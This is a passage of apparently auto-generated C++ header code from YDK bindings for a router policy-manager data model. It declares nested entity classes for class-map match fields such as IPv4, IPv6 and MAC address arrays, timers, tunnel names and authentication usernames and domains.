PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::SrcAddrIpv4::Ipv4AddrArray : public ydk::Entity { public: Ipv4AddrArray(); ~Ipv4AddrArray(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf prefix; //type: string ydk::YLeaf mask; //type: string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::SrcAddrIpv4::Ipv4AddrArray class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::DstAddrIpv4 : public ydk::Entity { public: DstAddrIpv4(); ~DstAddrIpv4(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class Ipv4AddrArray; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::DstAddrIpv4::Ipv4AddrArray ydk::YList ipv4_addr_array; }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::DstAddrIpv4 class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::DstAddrIpv4::Ipv4AddrArray : public ydk::Entity { public: Ipv4AddrArray(); ~Ipv4AddrArray(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf prefix; //type: string ydk::YLeaf mask; //type: string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::DstAddrIpv4::Ipv4AddrArray class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::SrcAddrIpv6 : public ydk::Entity { public: SrcAddrIpv6(); ~SrcAddrIpv6(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class Ipv6AddrArray; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::SrcAddrIpv6::Ipv6AddrArray ydk::YList ipv6_addr_array; }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::SrcAddrIpv6 class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::SrcAddrIpv6::Ipv6AddrArray : public ydk::Entity { public: Ipv6AddrArray(); ~Ipv6AddrArray(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf prefix; //type: string ydk::YLeaf mask; //type: uint32 }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::SrcAddrIpv6::Ipv6AddrArray class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::DstAddrIpv6 : public ydk::Entity { public: DstAddrIpv6(); ~DstAddrIpv6(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class Ipv6AddrArray; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::DstAddrIpv6::Ipv6AddrArray ydk::YList ipv6_addr_array; }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::DstAddrIpv6 class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::DstAddrIpv6::Ipv6AddrArray : public ydk::Entity { public: Ipv6AddrArray(); ~Ipv6AddrArray(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf prefix; //type: string ydk::YLeaf mask; //type: uint32 }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::DstAddrIpv6::Ipv6AddrArray class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::SrcAddrMac : public ydk::Entity { public: SrcAddrMac(); ~SrcAddrMac(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class MacAddrArray; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::SrcAddrMac::MacAddrArray ydk::YList mac_addr_array; }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::SrcAddrMac class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::SrcAddrMac::MacAddrArray : public ydk::Entity { public: MacAddrArray(); ~MacAddrArray(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList mac_addr; //type: list of uint16 ydk::YLeafList mask; //type: list of uint16 }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::SrcAddrMac::MacAddrArray class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Timer : public ydk::Entity { public: Timer(); ~Timer(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList string_array; //type: list of string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Timer class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::TimerRegexp : public ydk::Entity { public: TimerRegexp(); ~TimerRegexp(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList string_array; //type: list of string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::TimerRegexp class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::TunnelName : public ydk::Entity { public: TunnelName(); ~TunnelName(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList string_array; //type: list of string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::TunnelName class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::TunnelNameRegex : public ydk::Entity { public: TunnelNameRegex(); ~TunnelNameRegex(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList string_array; //type: list of string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::TunnelNameRegex class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::UserName : public ydk::Entity { public: UserName(); ~UserName(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList string_array; //type: list of string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::UserName class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::UserNameRegex : public ydk::Entity { public: UserNameRegex(); ~UserNameRegex(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList string_array; //type: list of string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::UserNameRegex class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::AuthUsername : public ydk::Entity { public: AuthUsername(); ~AuthUsername(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList string_array; //type: list of string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::AuthUsername class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::AuthUsernameRegex : public ydk::Entity { public: AuthUsernameRegex(); ~AuthUsernameRegex(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList string_array; //type: list of string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::AuthUsernameRegex class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::UnauthUsername : public ydk::Entity { public: UnauthUsername(); ~UnauthUsername(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList string_array; //type: list of string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::UnauthUsername class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::UnauthUsernameRegex : public ydk::Entity { public: UnauthUsernameRegex(); ~UnauthUsernameRegex(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList string_array; //type: list of string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::UnauthUsernameRegex class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::AuthDomain : public ydk::Entity { public: AuthDomain(); ~AuthDomain(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList string_array; //type: list of string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::AuthDomain class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::AuthDomainRegex : public ydk::Entity { public: AuthDomainRegex(); ~AuthDomainRegex(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList string_array; //type: list of string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::AuthDomainRegex class 